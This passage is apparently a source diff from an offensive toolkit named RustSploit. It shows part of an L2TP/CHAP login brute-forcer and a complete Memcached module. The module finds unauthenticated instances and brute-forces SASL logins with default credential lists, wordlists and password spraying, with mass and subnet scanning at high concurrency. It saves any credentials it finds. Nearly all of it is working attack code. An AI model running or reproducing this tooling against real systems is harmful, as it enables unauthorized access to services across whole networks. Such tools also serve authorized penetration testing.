async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match try_l2tp_login(&addr, &user, &pass, timeout_dur).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
let retryable = msg.contains("timed out")
|
||||
|| msg.contains("WouldBlock")
|
||||
|| msg.contains("Resource temporarily unavailable");
|
||||
LoginResult::Error {
|
||||
message: msg,
|
||||
retryable,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
/// Test L2TP server connectivity
|
||||
async fn test_l2tp_connectivity(addr: &str, timeout: Duration) -> Result<bool> {
|
||||
let result = tokio::task::spawn_blocking({
|
||||
let addr = addr.to_string();
|
||||
move || -> Result<bool> {
|
||||
let sock = crate::utils::blocking_udp_bind(None)?;
|
||||
sock.connect(&addr)?;
|
||||
sock.set_read_timeout(Some(timeout))?;
|
||||
sock.set_write_timeout(Some(timeout))?;
|
||||
|
||||
let mut session = L2tpSession::new(sock);
|
||||
session.send_sccrq()?;
|
||||
|
||||
match session.recv_packet(timeout) {
|
||||
Ok(pkt) => {
|
||||
if pkt.is_control {
|
||||
if let Some(msg_type) = L2tpSession::parse_message_type(&pkt.payload) {
|
||||
return Ok(msg_type == L2TP_SCCRP);
|
||||
}
|
||||
}
|
||||
Ok(false)
|
||||
}
|
||||
Err(_) => Ok(false),
|
||||
}
|
||||
}
|
||||
})
|
||||
.await?;
|
||||
result
|
||||
}
|
||||
|
||||
/// Attempt L2TP login with credentials
|
||||
async fn try_l2tp_login(
|
||||
addr: &str,
|
||||
username: &str,
|
||||
password: &str,
|
||||
timeout: Duration,
|
||||
) -> Result<bool> {
|
||||
let addr = addr.to_string();
|
||||
let username = username.to_string();
|
||||
let password = password.to_string();
|
||||
|
||||
tokio::task::spawn_blocking(move || try_l2tp_login_sync(&addr, &username, &password, timeout))
|
||||
.await?
|
||||
}
|
||||
|
||||
/// Synchronous L2TP login attempt
|
||||
fn try_l2tp_login_sync(
|
||||
addr: &str,
|
||||
username: &str,
|
||||
password: &str,
|
||||
timeout: Duration,
|
||||
) -> Result<bool> {
|
||||
let sock = crate::utils::blocking_udp_bind(None)?;
|
||||
sock.connect(addr)?;
|
||||
sock.set_read_timeout(Some(timeout))?;
|
||||
sock.set_write_timeout(Some(timeout))?;
|
||||
|
||||
let mut session = L2tpSession::new(sock);
|
||||
|
||||
// Step 1: Send SCCRQ
|
||||
session.send_sccrq()?;
|
||||
|
||||
// Step 2: Receive SCCRP
|
||||
let pkt = session.recv_packet(timeout)?;
|
||||
if !pkt.is_control {
|
||||
return Err(anyhow!("Expected control message, got data"));
|
||||
}
|
||||
|
||||
match L2tpSession::parse_message_type(&pkt.payload) {
|
||||
Some(L2TP_SCCRP) => {
|
||||
if let Some(tid) = L2tpSession::parse_assigned_id(&pkt.payload, 9) {
|
||||
session.remote_tunnel_id = tid;
|
||||
}
|
||||
session.nr += 1;
|
||||
}
|
||||
Some(other) => return Err(anyhow!("Expected SCCRP, got message type {}", other)),
|
||||
None => return Err(anyhow!("No message type in response")),
|
||||
}
|
||||
|
||||
// Step 3: Send SCCCN
|
||||
session.send_scccn()?;
|
||||
|
||||
// Step 4: Send ICRQ
|
||||
session.send_icrq()?;
|
||||
|
||||
// Step 5: Receive ICRP
|
||||
let pkt = session.recv_packet(timeout)?;
|
||||
if pkt.is_control {
|
||||
if let Some(L2TP_ICRP) = L2tpSession::parse_message_type(&pkt.payload) {
|
||||
if let Some(sid) = L2tpSession::parse_assigned_id(&pkt.payload, 14) {
|
||||
session.remote_session_id = sid;
|
||||
}
|
||||
session.nr += 1;
|
||||
}
|
||||
}
|
||||
|
||||
// Step 6: Send ICCN
|
||||
session.send_iccn()?;
|
||||
|
||||
// Step 7: Wait for CHAP Challenge
|
||||
let mut challenge_data: Option<(u8, Vec<u8>)> = None;
|
||||
|
||||
for _ in 0..5 {
|
||||
match session.recv_packet(timeout) {
|
||||
Ok(pkt) => {
|
||||
if !pkt.is_control && pkt.payload.len() > 6 {
|
||||
// Check for PPP CHAP
|
||||
let mut offset = 0;
|
||||
if pkt.payload[0] == 0xFF && pkt.payload[1] == 0x03 {
|
||||
offset = 2;
|
||||
}
|
||||
|
||||
if pkt.payload.len() > offset + 6 {
|
||||
let protocol =
|
||||
u16::from_be_bytes([pkt.payload[offset], pkt.payload[offset + 1]]);
|
||||
if protocol == PPP_CHAP {
|
||||
let chap_code = pkt.payload[offset + 2];
|
||||
if chap_code == CHAP_CHALLENGE {
|
||||
let identifier = pkt.payload[offset + 3];
|
||||
let value_size = pkt.payload[offset + 6] as usize;
|
||||
if pkt.payload.len() >= offset + 7 + value_size {
|
||||
let challenge =
|
||||
pkt.payload[offset + 7..offset + 7 + value_size].to_vec();
|
||||
challenge_data = Some((identifier, challenge));
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(_) => break,
|
||||
}
|
||||
}
|
||||
|
||||
let (identifier, challenge) =
|
||||
challenge_data.ok_or_else(|| anyhow!("No CHAP challenge received"))?;
|
||||
|
||||
// Step 8: Send CHAP Response
|
||||
session.send_chap_response(identifier, &challenge, username, password)?;
|
||||
|
||||
// Step 9: Wait for CHAP Success/Failure
|
||||
for _ in 0..5 {
|
||||
match session.recv_packet(timeout) {
|
||||
Ok(pkt) => {
|
||||
if !pkt.is_control && !pkt.payload.is_empty() {
|
||||
if pkt.payload.len() < 3 { continue; }
|
||||
let mut offset = 0;
|
||||
if pkt.payload[0] == 0xFF && pkt.payload[1] == 0x03 {
|
||||
offset = 2;
|
||||
}
|
||||
|
||||
if pkt.payload.len() > offset + 2 {
|
||||
let protocol =
|
||||
u16::from_be_bytes([pkt.payload[offset], pkt.payload[offset + 1]]);
|
||||
if protocol == PPP_CHAP {
|
||||
let chap_code = pkt.payload[offset + 2];
|
||||
match chap_code {
|
||||
CHAP_SUCCESS => return Ok(true),
|
||||
CHAP_FAILURE => return Ok(false),
|
||||
_ => continue,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(_) => break,
|
||||
}
|
||||
}
|
||||
|
||||
Err(anyhow!("No CHAP response received"))
|
||||
}
|
||||
@@ -0,0 +1,723 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::{io::Write, net::IpAddr, time::Duration};
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
time::timeout,
|
||||
};
|
||||
|
||||
use crate::utils::{
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file, cfg_prompt_port,
|
||||
cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
|
||||
};
|
||||
|
||||
// Constants
|
||||
const DEFAULT_MEMCACHED_PORT: u16 = 11211;
|
||||
const CONNECT_TIMEOUT_MS: u64 = 5000;
|
||||
const READ_TIMEOUT_MS: u64 = 3000;
|
||||
|
||||
// Memcached binary protocol constants
|
||||
const BINARY_MAGIC_REQUEST: u8 = 0x80;
|
||||
const BINARY_MAGIC_RESPONSE: u8 = 0x81;
|
||||
const OPCODE_SASL_AUTH: u8 = 0x21;
|
||||
const SASL_STATUS_SUCCESS: u16 = 0x0000;
|
||||
const SASL_STATUS_AUTH_ERROR: u16 = 0x0020;
|
||||
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("memcached", "memcached"),
|
||||
("admin", "password"),
|
||||
("root", "root"),
|
||||
("admin", ""),
|
||||
("memcache", "memcache"),
|
||||
("admin", "123456"),
|
||||
("root", "password"),
|
||||
];
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "Memcached Brute Force".to_string(),
|
||||
description: "Detect open Memcached instances and brute-force SASL authentication. \
|
||||
First checks for unauthenticated access (text protocol version/stats commands), \
|
||||
then attempts SASL PLAIN auth over the binary protocol. Supports default credential \
|
||||
testing, combo mode, concurrent connections, and subnet/mass scanning."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Memcached Brute Force Module ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Open Instance Detection + SASL Auth Testing (11211) ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Target: {} — Mass Scan Mode", target).yellow()
|
||||
);
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "Memcached",
|
||||
default_port: 11211,
|
||||
state_file: "memcached_hose_state.log",
|
||||
default_output: "memcached_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
move |ip, port| async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let connect_timeout = Duration::from_secs(5);
|
||||
let read_timeout = Duration::from_secs(3);
|
||||
|
||||
// Try to connect and send version command
|
||||
let mut stream = match crate::utils::network::tcp_connect(&addr, connect_timeout).await {
|
||||
Ok(s) => s,
|
||||
_ => return None,
|
||||
};
|
||||
|
||||
// Send text protocol version command
|
||||
if timeout(connect_timeout, stream.write_all(b"version\r\n"))
|
||||
.await
|
||||
.is_err()
|
||||
{
|
||||
return None;
|
||||
}
|
||||
|
||||
let mut buf = vec![0u8; 1024];
|
||||
let n = match timeout(read_timeout, stream.read(&mut buf)).await {
|
||||
Ok(Ok(n)) if n > 0 => n,
|
||||
_ => return None,
|
||||
};
|
||||
|
||||
let response = String::from_utf8_lossy(&buf[..n]);
|
||||
|
||||
if response.contains("VERSION") {
|
||||
// Open Memcached instance (no auth)
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
{
|
||||
let id = crate::cred_store::store_credential(
|
||||
&ip.to_string(),
|
||||
port,
|
||||
"memcached",
|
||||
"(open)",
|
||||
"(no auth)",
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/memcached_credcheck",
|
||||
)
|
||||
.await;
|
||||
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
|
||||
}
|
||||
return Some(format!(
|
||||
"[{}] {}:{} Memcached OPEN (no auth) - {}\n",
|
||||
ts,
|
||||
ip,
|
||||
port,
|
||||
response.trim()
|
||||
));
|
||||
}
|
||||
|
||||
if response.contains("ERROR") {
|
||||
// Might need SASL auth — try default creds via binary protocol
|
||||
let creds = [
|
||||
("admin", "admin"),
|
||||
("memcached", "memcached"),
|
||||
("admin", "password"),
|
||||
("root", "root"),
|
||||
];
|
||||
for (user, pass) in creds {
|
||||
// Need a fresh connection for each SASL attempt
|
||||
if let Ok(result) =
|
||||
try_memcached_sasl(&addr, user, pass, connect_timeout, read_timeout)
|
||||
.await
|
||||
{
|
||||
if result {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
{
|
||||
let id = crate::cred_store::store_credential(
|
||||
&ip.to_string(),
|
||||
port,
|
||||
"memcached",
|
||||
user,
|
||||
pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/memcached_credcheck",
|
||||
)
|
||||
.await;
|
||||
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
|
||||
}
|
||||
return Some(format!(
|
||||
"[{}] {}:{}:{}:{}\n",
|
||||
ts, ip, port, user, pass
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
let port: u16 =
|
||||
cfg_prompt_port("port", "Memcached Port", DEFAULT_MEMCACHED_PORT).await?;
|
||||
|
||||
let usernames_file =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() {
|
||||
return Err(anyhow!("Username wordlist is empty"));
|
||||
}
|
||||
if passes.is_empty() {
|
||||
return Err(anyhow!("Password wordlist is empty"));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"memcached_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
let timeout_secs: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "5").await?;
|
||||
input.parse::<u64>().unwrap_or(5).max(1).min(60)
|
||||
};
|
||||
let connect_timeout = Duration::from_millis(timeout_secs * 1000);
|
||||
let read_timeout = Duration::from_millis(READ_TIMEOUT_MS);
|
||||
|
||||
return run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
users,
|
||||
passes,
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "memcached",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/memcached_credcheck",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let ct = connect_timeout;
|
||||
let rt = read_timeout;
|
||||
async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match try_memcached_sasl(&addr, &user, &pass, ct, rt).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let port: u16 = cfg_prompt_port("port", "Memcached Port", DEFAULT_MEMCACHED_PORT).await?;
|
||||
|
||||
let normalized = normalize_target(target)?;
|
||||
let connect_addr = format!("{}:{}", normalized, port);
|
||||
|
||||
// First, check if the instance is open (unauthenticated)
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!("[*] Checking {} for unauthenticated access...", connect_addr).cyan()
|
||||
);
|
||||
|
||||
let connect_timeout = Duration::from_millis(CONNECT_TIMEOUT_MS);
|
||||
let read_timeout = Duration::from_millis(READ_TIMEOUT_MS);
|
||||
|
||||
match check_memcached_open(&connect_addr, connect_timeout, read_timeout).await {
|
||||
MemcachedStatus::Open(version) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[+] Memcached at {} is OPEN (no authentication required)!",
|
||||
connect_addr
|
||||
)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
crate::mprintln!("{}", format!("[+] Version: {}", version).green());
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[!] WARNING: This Memcached instance is publicly accessible without auth."
|
||||
.red()
|
||||
.bold()
|
||||
);
|
||||
|
||||
{
|
||||
let id = crate::cred_store::store_credential(
|
||||
&normalized,
|
||||
port,
|
||||
"memcached",
|
||||
"(open)",
|
||||
"(no auth)",
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/memcached_credcheck",
|
||||
)
|
||||
.await;
|
||||
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
|
||||
}
|
||||
|
||||
let continue_brute =
|
||||
cfg_prompt_yes_no("continue_bruteforce", "Continue with SASL brute-force anyway?", false).await?;
|
||||
if !continue_brute {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
MemcachedStatus::AuthRequired => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[*] Memcached requires SASL authentication. Proceeding with brute-force.".cyan()
|
||||
);
|
||||
}
|
||||
MemcachedStatus::Unreachable(err) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[!] Cannot connect to {}: {}", connect_addr, err).red()
|
||||
);
|
||||
let continue_anyway =
|
||||
cfg_prompt_yes_no("continue_anyway", "Continue anyway?", false).await?;
|
||||
if !continue_anyway {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Ask about default credentials
|
||||
let use_defaults =
|
||||
cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file =
|
||||
if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file =
|
||||
if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!(
|
||||
"At least one wordlist or default credentials must be enabled"
|
||||
));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
|
||||
let connection_timeout: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "5").await?;
|
||||
input.parse::<u64>().unwrap_or(5).max(1).min(60)
|
||||
};
|
||||
|
||||
let retry_on_error =
|
||||
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries: usize = if retry_on_error {
|
||||
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
|
||||
input.parse::<usize>().unwrap_or(2).max(1).min(10)
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(
|
||||
cfg_prompt_output_file("output_file", "Output file", "memcached_brute_results.txt")
|
||||
.await?,
|
||||
)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} usernames", usernames.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} passwords", passwords.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Added {} default credentials",
|
||||
DEFAULT_CREDENTIALS.len()
|
||||
)
|
||||
.green()
|
||||
);
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
let ct = Duration::from_secs(connection_timeout);
|
||||
let rt = Duration::from_millis(READ_TIMEOUT_MS);
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let connect_t = ct;
|
||||
let read_t = rt;
|
||||
async move {
|
||||
let addr = normalize_target(&format!("{}:{}", t, p))
|
||||
.unwrap_or_else(|_| format!("{}:{}", t, p));
|
||||
match try_memcached_sasl(&addr, &user, &pass, connect_t, read_t).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: normalized,
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "memcached",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/memcached_credcheck",
|
||||
},
|
||||
combos,
|
||||
try_login,
|
||||
)
|
||||
.await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored Memcached responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no(
|
||||
"save_unknown_responses",
|
||||
"Save unknown responses to file?",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
let default_name = "memcached_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
)
|
||||
.await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# Memcached Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Memcached protocol helpers
|
||||
// ============================================================================
|
||||
|
||||
enum MemcachedStatus {
|
||||
/// Instance is open (no auth), includes the version string.
|
||||
Open(String),
|
||||
/// Instance requires SASL authentication.
|
||||
AuthRequired,
|
||||
/// Cannot reach the instance.
|
||||
Unreachable(String),
|
||||
}
|
||||
|
||||
/// Check if a Memcached instance is open (no auth) or requires SASL.
|
||||
async fn check_memcached_open(
|
||||
addr: &str,
|
||||
connect_timeout: Duration,
|
||||
read_timeout: Duration,
|
||||
) -> MemcachedStatus {
|
||||
let mut stream = match crate::utils::network::tcp_connect(addr, connect_timeout).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return MemcachedStatus::Unreachable(e.to_string()),
|
||||
};
|
||||
|
||||
// Send text protocol "version" command
|
||||
if let Err(e) = timeout(connect_timeout, stream.write_all(b"version\r\n")).await {
|
||||
return MemcachedStatus::Unreachable(format!("Write error: {}", e));
|
||||
}
|
||||
|
||||
let mut buf = vec![0u8; 1024];
|
||||
let n = match timeout(read_timeout, stream.read(&mut buf)).await {
|
||||
Ok(Ok(n)) if n > 0 => n,
|
||||
Ok(Ok(_)) => return MemcachedStatus::Unreachable("Empty response".to_string()),
|
||||
Ok(Err(e)) => return MemcachedStatus::Unreachable(format!("Read error: {}", e)),
|
||||
Err(_) => return MemcachedStatus::Unreachable("Read timeout".to_string()),
|
||||
};
|
||||
|
||||
let response = String::from_utf8_lossy(&buf[..n]);
|
||||
|
||||
if response.contains("VERSION") {
|
||||
MemcachedStatus::Open(response.trim().to_string())
|
||||
} else if response.contains("ERROR") {
|
||||
MemcachedStatus::AuthRequired
|
||||
} else {
|
||||
MemcachedStatus::Unreachable(format!("Unknown response: {}", response.trim()))
|
||||
}
|
||||
}
|
||||
|
||||
/// Build a Memcached binary protocol SASL Auth request packet.
|
||||
///
|
||||
/// Binary protocol header (24 bytes):
|
||||
/// magic: 0x80 (request)
|
||||
/// opcode: 0x21 (SASL Auth)
|
||||
/// key_length: length of "PLAIN"
|
||||
/// extras_length: 0
|
||||
/// data_type: 0
|
||||
/// vbucket/status: 0
|
||||
/// total_body_length: key_len + value_len
|
||||
/// opaque: 0
|
||||
/// cas: 0
|
||||
/// key: "PLAIN"
|
||||
/// value: "\0username\0password"
|
||||
fn build_sasl_auth_packet(username: &str, password: &str) -> Vec<u8> {
|
||||
let mechanism = b"PLAIN";
|
||||
let key_len = mechanism.len() as u16;
|
||||
|
||||
// SASL PLAIN payload: \0username\0password
|
||||
let mut sasl_payload = Vec::new();
|
||||
sasl_payload.push(0x00);
|
||||
sasl_payload.extend_from_slice(username.as_bytes());
|
||||
sasl_payload.push(0x00);
|
||||
sasl_payload.extend_from_slice(password.as_bytes());
|
||||
|
||||
let value_len = sasl_payload.len();
|
||||
let total_body_len = (key_len as u32) + (value_len as u32);
|
||||
|
||||
let mut packet = Vec::with_capacity(24 + total_body_len as usize);
|
||||
|
||||
// Header (24 bytes)
|
||||
packet.push(BINARY_MAGIC_REQUEST); // magic
|
||||
packet.push(OPCODE_SASL_AUTH); // opcode
|
||||
packet.extend_from_slice(&key_len.to_be_bytes()); // key length
|
||||
packet.push(0x00); // extras length
|
||||
packet.push(0x00); // data type
|
||||
packet.extend_from_slice(&0u16.to_be_bytes()); // vbucket/status
|
||||
packet.extend_from_slice(&total_body_len.to_be_bytes()); // total body length
|
||||
packet.extend_from_slice(&0u32.to_be_bytes()); // opaque
|
||||
packet.extend_from_slice(&0u64.to_be_bytes()); // CAS
|
||||
|
||||
// Body
|
||||
packet.extend_from_slice(mechanism); // key: "PLAIN"
|
||||
packet.extend_from_slice(&sasl_payload); // value: \0user\0pass
|
||||
|
||||
packet
|
||||
}
|
||||
|
||||
/// Parse the status code from a Memcached binary protocol response.
|
||||
/// The status is at bytes 6-7 (big-endian u16) of the 24-byte header.
|
||||
fn parse_binary_response_status(response: &[u8]) -> Option<u16> {
|
||||
if response.len() < 24 {
|
||||
return None;
|
||||
}
|
||||
if response[0] != BINARY_MAGIC_RESPONSE {
|
||||
return None;
|
||||
}
|
||||
Some(u16::from_be_bytes([response[6], response[7]]))
|
||||
}
|
||||
|
||||
/// Attempt Memcached SASL PLAIN authentication over the binary protocol.
|
||||
///
|
||||
/// Opens a fresh TCP connection, sends a SASL Auth request with the PLAIN
|
||||
/// mechanism, and parses the binary response status.
|
||||
///
|
||||
/// Returns:
|
||||
/// - `Ok(true)` — SASL authentication succeeded (status 0x0000)
|
||||
/// - `Ok(false)` — authentication rejected (status 0x0020)
|
||||
/// - `Err(_)` — connection/timeout/protocol error
|
||||
async fn try_memcached_sasl(
|
||||
addr: &str,
|
||||
username: &str,
|
||||
password: &str,
|
||||
connect_timeout: Duration,
|
||||
read_timeout: Duration,
|
||||
) -> Result<bool> {
|
||||
let mut stream = match crate::utils::network::tcp_connect(addr, connect_timeout).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => {
|
||||
let err_str = e.to_string();
|
||||
if err_str.contains("Connection refused") || err_str.contains("connect") {
|
||||
